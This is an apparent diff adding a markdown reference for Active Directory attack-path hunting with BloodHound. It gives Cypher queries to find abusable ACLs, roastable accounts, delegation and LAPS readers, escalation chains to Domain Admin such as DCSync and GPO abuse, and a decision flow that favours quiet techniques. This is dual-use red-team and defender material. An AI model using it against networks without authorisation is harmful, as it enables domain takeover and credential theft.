+ MATCH p=(n:User)-[r:GenericAll|GenericWrite|WriteDacl|WriteOwner|ForceChangePassword]->(m)
68
+ WHERE NOT n.name STARTS WITH "DVTA"
69
+ RETURN n.name AS attacker, type(r) AS permission, m.name AS target
70
+ ```
71
+
72
+ ### 2.5 Find Computers with Unconstrained Delegation
73
+
74
+ ```cypher
75
+ MATCH (c:Computer {unconstraineddelegation:true})
76
+ WHERE NOT c.name STARTS WITH "DC"
77
+ RETURN c.name
78
+ ```
79
+
80
+ ### 2.6 Find AS-REP Roastable Users
81
+
82
+ ```cypher
83
+ MATCH (u:User {dontreqpreauth:true})
84
+ RETURN u.name, u.description
85
+ ```
86
+
87
+ ### 2.7 Computers Where Domain Users Are Local Admin
88
+
89
+ ```cypher
90
+ MATCH p=(g:Group {name:"DOMAIN USERS@DOMAIN.COM"})-[:AdminTo]->(c:Computer)
91
+ RETURN c.name
92
+ ```
93
+
94
+ ### 2.8 Find All GPO Controllers
95
+
96
+ ```cypher
97
+ MATCH p=(n)-[r:GenericAll|GenericWrite|WriteOwner|WriteDacl]->(g:GPO)
98
+ RETURN n.name AS controller, g.name AS gpo, type(r) AS permission
99
+ ```
100
+
101
+ ### 2.9 Shortest Path from Owned to High-Value Targets
102
+
103
+ ```cypher
104
+ MATCH p=shortestPath((n {owned:true})-[*1..]->(m {highvalue:true}))
105
+ RETURN p
106
+ ```
107
+
108
+ ### 2.10 Find LAPS Readers
109
+
110
+ ```cypher
111
+ MATCH p=(n)-[:ReadLAPSPassword]->(c:Computer)
112
+ RETURN n.name AS reader, c.name AS computer
113
+ ```
114
+
115
+ ---
116
+
117
+ ## 3. COMMON ATTACK PATH PATTERNS
118
+
119
+ ### Pattern 1: Nested Group Membership → DA
120
+
121
+ ```
122
+ lowpriv_user
123
+ └── MemberOf → IT-Support
124
+ └── MemberOf → Server-Admins
125
+ └── MemberOf → Domain Admins
126
+ ```
127
+
128
+ ```cypher
129
+ MATCH p=(u:User {name:"LOWPRIV@DOMAIN.COM"})-[:MemberOf*1..5]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.COM"})
130
+ RETURN p
131
+ ```
132
+
133
+ ### Pattern 2: ACL Chain → GenericAll → Password Reset → DA
134
+
135
+ ```
136
+ lowpriv_user
137
+ └── GenericWrite → helpdesk_user
138
+ └── GenericAll → svc_admin (DA member)
139
+ └── ForceChangePassword → reset password → DA
140
+ ```
141
+
142
+ ### Pattern 3: WriteDACL → DCSync
143
+
144
+ ```
145
+ lowpriv_user
146
+ └── WriteDACL on Domain Object
147
+ └── Grant self GetChanges + GetChangesAll
148
+ └── DCSync → all domain hashes
149
+ ```
150
+
151
+ ### Pattern 4: GPO Abuse → Local Admin on DC
152
+
153
+ ```
154
+ lowpriv_user
155
+ └── GenericWrite on GPO linked to "Domain Controllers" OU
156
+ └── Add scheduled task via GPO
157
+ └── Task runs on DCs → SYSTEM on DC
158
+ ```
159
+
160
+ ### Pattern 5: LAPS + Local Admin → Session Hijack
161
+
162
+ ```
163
+ lowpriv_user
164
+ └── ReadLAPSPassword on TARGET_SERVER
165
+ └── Local admin on TARGET_SERVER
166
+ └── Domain Admin session on TARGET_SERVER
167
+ └── Credential dump → DA hash
168
+ ```
169
+
170
+ ---
171
+
172
+ ## 4. CUSTOM BLOODHOUND QUERIES FOR SPECIFIC SCENARIOS
173
+
174
+ ### Find Users with Passwords in Description
175
+
176
+ ```cypher
177
+ MATCH (u:User)
178
+ WHERE u.description =~ '(?i).*(pass|pwd|cred|secret).*'
179
+ RETURN u.name, u.description
180
+ ```
181
+
182
+ ### Find All ACL Paths Between Two Nodes
183
+
184
+ ```cypher
185
+ MATCH p=allShortestPaths((a)-[r*1..7]->(b))
186
+ WHERE a.name = "LOWPRIV@DOMAIN.COM"
187
+ AND b.name = "DOMAIN ADMINS@DOMAIN.COM"
188
+ AND ALL(rel IN relationships(p) WHERE type(rel) IN
189
+ ["GenericAll","GenericWrite","WriteDacl","WriteOwner","ForceChangePassword",
190
+ "AddMember","MemberOf","AdminTo","HasSession","CanRDP","CanPSRemote"])
191
+ RETURN p
192
+ ```
193
+
194
+ ### High-Value Target Identification
195
+
196
+ ```cypher
197
+ MATCH (n)
198
+ WHERE n.highvalue = true
199
+ RETURN labels(n)[0] AS type, n.name AS target
200
+ ORDER BY type
201
+ ```
202
+
203
+ ### Find Kerberoastable Service Accounts with Admin Rights
204
+
205
+ ```cypher
206
+ MATCH (u:User {hasspn:true})-[:AdminTo]->(c:Computer)
207
+ RETURN u.name AS service_account, collect(c.name) AS admin_on
208
+ ```
209
+
210
+ ### Computers Trusting Machine Accounts for Delegation
211
+
212
+ ```cypher
213
+ MATCH (c1:Computer)-[:AllowedToDelegate]->(c2:Computer)
214
+ RETURN c1.name AS delegator, c2.name AS target
215
+ ```
216
+
217
+ ---
218
+
219
+ ## 5. BLOODHOUND CE (COMMUNITY EDITION) TIPS
220
+
221
+ ### API Queries (BloodHound CE)
222
+
223
+ ```bash
224
+ # List available attack paths via API
225
+ curl -s -H "Authorization: Bearer $TOKEN" \
226
+ "https://bloodhound.local/api/v2/attack-paths" | jq
227
+
228
+ # Get path findings for a specific domain
229
+ curl -s -H "Authorization: Bearer $TOKEN" \
230
+ "https://bloodhound.local/api/v2/domains/$DOMAIN_ID/attack-path-findings" | jq
231
+ ```
232
+
233
+ ### Mark Nodes as Owned
234
+
235
+ ```cypher
236
+ # Mark compromised user
237
+ MATCH (u:User {name:"COMPROMISED@DOMAIN.COM"})
238
+ SET u.owned = true
239
+ RETURN u.name
240
+ ```
241
+
242
+ ### Mark High-Value Targets
243
+
244
+ ```cypher
245
+ # Mark custom high-value targets
246
+ MATCH (c:Computer {name:"SQLSERVER01.DOMAIN.COM"})
247
+ SET c.highvalue = true
248
+ RETURN c.name
249
+ ```
250
+
251
+ ---
252
+
253
+ ## 6. ATTACK PATH DECISION FLOW
254
+
255
+ ```
256
+ BloodHound data collected and imported
257
+
258
+ ├── Mark owned principals (compromised users/computers)
259
+
260
+ ├── Run "Shortest Paths from Owned to DA"
261
+ │ ├── Direct path found? → follow the chain
262
+ │ │ ├── ACL edge → exploit per SKILL.md §3
263
+ │ │ ├── Session edge → credential dump on that host
264
+ │ │ └── AdminTo edge → lateral movement to host
265
+ │ └── No path found?
266
+ │ ├── Run custom queries (§4) for non-obvious paths
267
+ │ ├── Check for Kerberoastable → high-value paths (§2.3)
268
+ │ └── Look for LAPS readers → local admin chains (§2.10)
269
+
270
+ ├── No path to DA at all?
271
+ │ ├── Check for paths to other high-value targets
272
+ │ ├── Expand attack surface: compromise more users/hosts
273
+ │ ├── Re-collect session data (sessions change over time)
274
+ │ └── Look for cross-domain trust paths
275
+
276
+ └── Multiple paths available?
277
+ ├── Prefer: ForceChangePassword (cleanest)
278
+ ├── Then: Shadow Credentials (reversible)
279
+ ├── Then: Targeted Kerberoast (if crackable)
280
+ └── Avoid: Adding to Domain Admins (noisy)
281
+ ```